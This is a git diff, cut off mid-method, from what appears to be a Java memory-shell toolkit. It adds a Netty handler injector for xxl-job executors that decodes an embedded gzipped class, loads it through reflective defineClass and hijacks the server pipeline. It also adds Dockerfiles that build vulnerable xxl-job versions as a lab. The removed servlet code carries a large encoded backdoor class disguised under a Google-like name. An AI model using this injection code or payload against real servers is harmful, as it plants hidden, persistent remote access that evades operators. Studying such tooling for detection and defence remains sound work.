IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) + .addLast(new HttpServerCodec()) + .addLast(new HttpObjectAggregator(5 * 1024 * 1024)) + .addLast(channelHandler) + .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor( + 0, + 200, + 60L, + TimeUnit.SECONDS, + new LinkedBlockingQueue<>(2000), + r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()), + (r, executor) -> { + throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!"); + }))); + } + + private Class getShellClass() throws Exception { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + return classLoader.loadClass(getClassName()); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + return (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + } + } + + public void inject() throws Exception { + ThreadGroup group = Thread.currentThread().getThreadGroup(); + Field threads = group.getClass().getDeclaredField("threads"); + threads.setAccessible(true); + Thread[] allThreads = (Thread[]) threads.get(group); + for (Thread thread : allThreads) { + if (thread != null && thread.getName().contains("nioEventLoopGroup")) { + Object target; + + try { + target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor"); + } catch (Exception e) { + continue; + } + + if (target.getClass().getName().endsWith("NioEventLoop")) { + HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys"); + if (!set.isEmpty()) { + Object keys = set.toArray()[0]; + Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline"); + Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler"); + setFieldValue(embedHttpServerHandler, "childHandler", this); + System.out.println("xxl-job NettyHandler inject successful"); + break; + } + } + } + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + public Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) { + field = getField(clazz.getSuperclass(), fieldName); + } + } + return field; + } + + public Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } +} diff --git a/memshell-java8/src/main/java/com/xxl/job/core/biz/ExecutorBiz.java b/memshell-java8/src/main/java/com/xxl/job/core/biz/ExecutorBiz.java new file mode 100644 index 00000000..0ee8103c --- /dev/null +++ b/memshell-java8/src/main/java/com/xxl/job/core/biz/ExecutorBiz.java @@ -0,0 +1,8 @@ +package com.xxl.job.core.biz; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class ExecutorBiz { +} diff --git a/memshell-java8/src/main/java/com/xxl/job/core/biz/impl/ExecutorBizImpl.java b/memshell-java8/src/main/java/com/xxl/job/core/biz/impl/ExecutorBizImpl.java new file mode 100644 index 00000000..c69c0e8e --- /dev/null +++ b/memshell-java8/src/main/java/com/xxl/job/core/biz/impl/ExecutorBizImpl.java @@ -0,0 +1,10 @@ +package com.xxl.job.core.biz.impl; + +import com.xxl.job.core.biz.ExecutorBiz; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class ExecutorBizImpl extends ExecutorBiz { +} diff --git a/memshell-java8/src/main/java/com/xxl/job/core/server/EmbedServer.java b/memshell-java8/src/main/java/com/xxl/job/core/server/EmbedServer.java new file mode 100644 index 00000000..c18cb68e --- /dev/null +++ b/memshell-java8/src/main/java/com/xxl/job/core/server/EmbedServer.java @@ -0,0 +1,35 @@ +package com.xxl.job.core.server; + +import com.xxl.job.core.biz.ExecutorBiz; +import io.netty.channel.ChannelHandler; +import io.netty.channel.ChannelHandlerContext; + +import java.util.concurrent.ThreadPoolExecutor; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class EmbedServer { + + public static class EmbedHttpServerHandler implements ChannelHandler { + public EmbedHttpServerHandler(ExecutorBiz executorBiz, String prefix, ThreadPoolExecutor executor) { + + } + + @Override + public void handlerAdded(ChannelHandlerContext ctx) throws Exception { + + } + + @Override + public void handlerRemoved(ChannelHandlerContext ctx) throws Exception { + + } + + @Override + public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception { + + } + } +} diff --git a/vul/build.gradle b/vul/build.gradle new file mode 100644 index 00000000..82efb077 --- /dev/null +++ b/vul/build.gradle @@ -0,0 +1,5 @@ +idea { + module { + excludeDirs += file('src') + } +} \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/202/admin/Dockerfile b/vul/dockerfile/xxl-job/202/admin/Dockerfile new file mode 100644 index 00000000..27788a1b --- /dev/null +++ b/vul/dockerfile/xxl-job/202/admin/Dockerfile @@ -0,0 +1,24 @@ +FROM maven:3.9.9-eclipse-temurin-8 AS builder + +RUN set -ex \ + && cd /usr/src \ + && git clone --depth 1 -b 2.0.2 https://github.com/xuxueli/xxl-job.git . \ + && cd xxl-job-admin \ + && sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \ + && sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:8 + +RUN set -ex \ + && apt-get update \ + && apt-get install -y --no-install-recommends wait-for-it default-mysql-client \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.0.2.jar /usr/src/xxl-job-admin-2.0.2.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh +COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.0.2.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/202/admin/docker-entrypoint.sh b/vul/dockerfile/xxl-job/202/admin/docker-entrypoint.sh new file mode 100755 index 00000000..a6beb23e --- /dev/null +++ b/vul/dockerfile/xxl-job/202/admin/docker-entrypoint.sh @@ -0,0 +1,9 @@ +#!/bin/bash +set -e + +wait-for-it -t 0 db:3306 +if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then + mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql +fi + +exec "$@" \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/202/executor/Dockerfile b/vul/dockerfile/xxl-job/202/executor/Dockerfile new file mode 100644 index 00000000..fe585c3f --- /dev/null +++ b/vul/dockerfile/xxl-job/202/executor/Dockerfile @@ -0,0 +1,23 @@ +FROM maven:3.9.9-eclipse-temurin-8 AS builder + +RUN set -ex \ + && cd /usr/src \ + && git clone --depth 1 -b 2.0.2 https://github.com/xuxueli/xxl-job.git . \ + && cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \ + && sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \ + && sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:8 + +RUN set -ex \ + && apt-get update \ + && apt-get install -y --no-install-recommends wait-for-it \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.0.2.jar /usr/src/xxl-job-executor-sample-springboot-2.0.2.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.0.2.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/202/executor/docker-entrypoint.sh b/vul/dockerfile/xxl-job/202/executor/docker-entrypoint.sh new file mode 100755 index 00000000..257e80a2 --- /dev/null +++ b/vul/dockerfile/xxl-job/202/executor/docker-entrypoint.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +set -ex + +wait-for-it -t 0 admin:8080 + +exec "$@" \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/220/admin/Dockerfile b/vul/dockerfile/xxl-job/220/admin/Dockerfile new file mode 100644 index 00000000..8324248b --- /dev/null +++ b/vul/dockerfile/xxl-job/220/admin/Dockerfile @@ -0,0 +1,24 @@ +FROM maven:3.9.9-eclipse-temurin-8 AS builder + +RUN set -ex \ + && cd /usr/src \ + && git clone --depth 1 -b v2.2.0 https://github.com/xuxueli/xxl-job.git . \ + && cd xxl-job-admin \ + && sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \ + && sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:8 + +RUN set -ex \ + && apt-get update \ + && apt-get install -y --no-install-recommends wait-for-it default-mysql-client \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.2.0.jar /usr/src/xxl-job-admin-2.2.0.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh +COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.2.0.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/220/admin/docker-entrypoint.sh b/vul/dockerfile/xxl-job/220/admin/docker-entrypoint.sh new file mode 100755 index 00000000..a6beb23e --- /dev/null +++ b/vul/dockerfile/xxl-job/220/admin/docker-entrypoint.sh @@ -0,0 +1,9 @@ +#!/bin/bash +set -e + +wait-for-it -t 0 db:3306 +if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then + mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql +fi + +exec "$@" \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/220/executor/Dockerfile b/vul/dockerfile/xxl-job/220/executor/Dockerfile new file mode 100644 index 00000000..011eb095 --- /dev/null +++ b/vul/dockerfile/xxl-job/220/executor/Dockerfile @@ -0,0 +1,23 @@ +FROM maven:3.9.9-eclipse-temurin-8 AS builder + +RUN set -ex \ + && cd /usr/src \ + && git clone --depth 1 -b v2.2.0 https://github.com/xuxueli/xxl-job.git . \ + && cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \ + && sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \ + && sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:8 + +RUN set -ex \ + && apt-get update \ + && apt-get install -y --no-install-recommends wait-for-it \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.2.0.jar /usr/src/xxl-job-executor-sample-springboot-2.2.0.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.2.0.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/220/executor/docker-entrypoint.sh b/vul/dockerfile/xxl-job/220/executor/docker-entrypoint.sh new file mode 100755 index 00000000..257e80a2 --- /dev/null +++ b/vul/dockerfile/xxl-job/220/executor/docker-entrypoint.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +set -ex + +wait-for-it -t 0 admin:8080 + +exec "$@" \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/230/admin/Dockerfile b/vul/dockerfile/xxl-job/230/admin/Dockerfile new file mode 100644 index 00000000..dfe5823a --- /dev/null +++ b/vul/dockerfile/xxl-job/230/admin/Dockerfile @@ -0,0 +1,25 @@ +FROM maven:3.9.9-eclipse-temurin-8 AS builder + +WORKDIR /usr/src + +RUN set -ex \ + && git clone --depth 1 -b 2.3.0 https://github.com/xuxueli/xxl-job.git . \ + && cd xxl-job-admin \ + && sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \ + && sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:8 + +RUN set -ex \ + && apt update \ + && apt install -y --no-install-recommends wait-for-it default-mysql-client \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.3.0.jar /usr/src/xxl-job-admin-2.3.0.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh +COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.3.0.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/230/admin/docker-entrypoint.sh b/vul/dockerfile/xxl-job/230/admin/docker-entrypoint.sh new file mode 100755 index 00000000..a6beb23e --- /dev/null +++ b/vul/dockerfile/xxl-job/230/admin/docker-entrypoint.sh @@ -0,0 +1,9 @@ +#!/bin/bash +set -e + +wait-for-it -t 0 db:3306 +if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then + mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql +fi + +exec "$@" \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/230/executor/Dockerfile b/vul/dockerfile/xxl-job/230/executor/Dockerfile new file mode 100644 index 00000000..92d85a55 --- /dev/null +++ b/vul/dockerfile/xxl-job/230/executor/Dockerfile @@ -0,0 +1,25 @@ +FROM maven:3.9.9-eclipse-temurin-8 AS builder + +WORKDIR /usr/src + +RUN set -ex \ + && git clone --depth 1 -b 2.3.0 https://github.com/xuxueli/xxl-job.git . \ + && ls \ + && cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \ + && sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \ + && sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:8 + +RUN set -ex \ + && apt-get update \ + && apt-get install -y --no-install-recommends wait-for-it \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.3.0.jar /usr/src/xxl-job-executor-sample-springboot-2.3.0.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.3.0.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/230/executor/docker-entrypoint.sh b/vul/dockerfile/xxl-job/230/executor/docker-entrypoint.sh new file mode 100755 index 00000000..257e80a2 --- /dev/null +++ b/vul/dockerfile/xxl-job/230/executor/docker-entrypoint.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +set -ex + +wait-for-it -t 0 admin:8080 + +exec "$@" \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/250/admin/Dockerfile b/vul/dockerfile/xxl-job/250/admin/Dockerfile new file mode 100644 index 00000000..2d519c5b --- /dev/null +++ b/vul/dockerfile/xxl-job/250/admin/Dockerfile @@ -0,0 +1,25 @@ +FROM maven:3.9.9-eclipse-temurin-17 AS builder + +WORKDIR /usr/src + +RUN set -ex \ + && git clone --depth 1 -b 2.5.0 https://github.com/xuxueli/xxl-job.git . \ + && cd xxl-job-admin \ + && sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \ + && sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:17-jdk-bullseye + +RUN set -ex \ + && apt update \ + && apt install -y --no-install-recommends wait-for-it default-mysql-client \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.5.0.jar /usr/src/xxl-job-admin-2.5.0.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh +COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.5.0.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/250/admin/docker-entrypoint.sh b/vul/dockerfile/xxl-job/250/admin/docker-entrypoint.sh new file mode 100755 index 00000000..a6beb23e --- /dev/null +++ b/vul/dockerfile/xxl-job/250/admin/docker-entrypoint.sh @@ -0,0 +1,9 @@ +#!/bin/bash +set -e + +wait-for-it -t 0 db:3306 +if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then + mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql +fi + +exec "$@" \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/250/executor/Dockerfile b/vul/dockerfile/xxl-job/250/executor/Dockerfile new file mode 100644 index 00000000..11a25f6a --- /dev/null +++ b/vul/dockerfile/xxl-job/250/executor/Dockerfile @@ -0,0 +1,25 @@ +FROM maven:3.9.9-eclipse-temurin-17 AS builder + +WORKDIR /usr/src + +RUN set -ex \ + && git clone --depth 1 -b 2.5.0 https://github.com/xuxueli/xxl-job.git . \ + && ls \ + && cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \ + && sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \ + && sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \ + && mvn clean package -DskipTests + +FROM openjdk:17-jdk-bullseye + +RUN set -ex \ + && apt-get update \ + && apt-get install -y --no-install-recommends wait-for-it \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.5.0.jar /usr/src/xxl-job-executor-sample-springboot-2.5.0.jar +COPY docker-entrypoint.sh /docker-entrypoint.sh + +WORKDIR /usr/src +ENTRYPOINT ["/docker-entrypoint.sh"] +CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.5.0.jar"] \ No newline at end of file diff --git a/vul/dockerfile/xxl-job/250/executor/docker-entrypoint.sh b/vul/dockerfile/xxl-job/250/executor/docker-entrypoint.sh new file mode 100755 index 00000000..257e80a2 --- /dev/null +++ b/vul/dockerfile/xxl-job/250/executor/docker-entrypoint.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +set -ex + +wait-for-it -t 0 admin:8080 + +exec "$@" \ No newline at end of file diff --git a/vul/vul-webapp/src/main/java/EmptyFilter.java b/vul/vul-webapp/src/main/java/EmptyFilter.java new file mode 100644 index 00000000..ffa67d23 --- /dev/null +++ b/vul/vul-webapp/src/main/java/EmptyFilter.java @@ -0,0 +1,23 @@ +import javax.servlet.*; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/1/3 + */ +public class EmptyFilter implements Filter { + @Override + public void destroy() { + + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + chain.doFilter(request, response); + } +} diff --git a/vul/vul-webapp/src/main/java/TestServlet.java b/vul/vul-webapp/src/main/java/TestServlet.java index 80bc3dc4..d71cef16 100644 --- a/vul/vul-webapp/src/main/java/TestServlet.java +++ b/vul/vul-webapp/src/main/java/TestServlet.java @@ -2,15 +2,8 @@ import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; +import java.io.BufferedReader; import java.io.IOException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.*; -import java.util.zip.GZIPInputStream; /** * @author ReaJason @@ -18,271 +11,15 @@ import java.util.zip.GZIPInputStream; */ public class TestServlet extends HttpServlet { - static Object getFV(Object obj, String fieldName) throws Exception { - try { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } catch (Exception var3) { - return null; - } - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - for (Class clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException var3) { - } - } - - throw new NoSuchFieldException(fieldName); - } - - public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { - Field field = getF(obj, fieldName); - field.set(obj, value); - } - - static byte[] decodeBase64(String base64Str) throws Exception { - try { - Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception var4) { - Class decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream gzipInputStream = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - - int n; - while ((n = gzipInputStream.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - - return out.toByteArray(); - } - - public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (Method value : methods) { - if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { - method = value; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getUrlPattern() { - return "/*"; - } - - public String getClassName() { - return "com.google.gso.sLUOL.ErrorHandler"; - } - - public String getBase64String() { - return "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"; - } - - public void addListener(Object context, Object listener) throws Exception { - if (!this.isInjected(context, this.getClassName())) { - String filedName = "applicationEventListenersObjects"; - Object applicationEventListenersObjects = getFV(context, filedName); - if (applicationEventListenersObjects == null) { - filedName = "applicationEventListenersInstances"; - applicationEventListenersObjects = getFV(context, filedName); - } - if (applicationEventListenersObjects != null) { - Object[] appListeners = (Object[]) applicationEventListenersObjects; - if (appListeners != null) { - List appListenerList = new ArrayList(Arrays.asList(appListeners)); - appListenerList.add(listener); - setFieldValue(context, filedName, appListenerList.toArray()); - } - } else if (getFV(context, "applicationEventListenersList") != null) { - List appListeners = (List) getFV(context, "applicationEventListenersList"); - if (appListeners != null) { - appListeners.add(listener); - } - } - } - } - - public boolean isInjected(Object context, String evilClassName) throws Exception { - Object[] objects = (Object[]) invokeMethod(context, 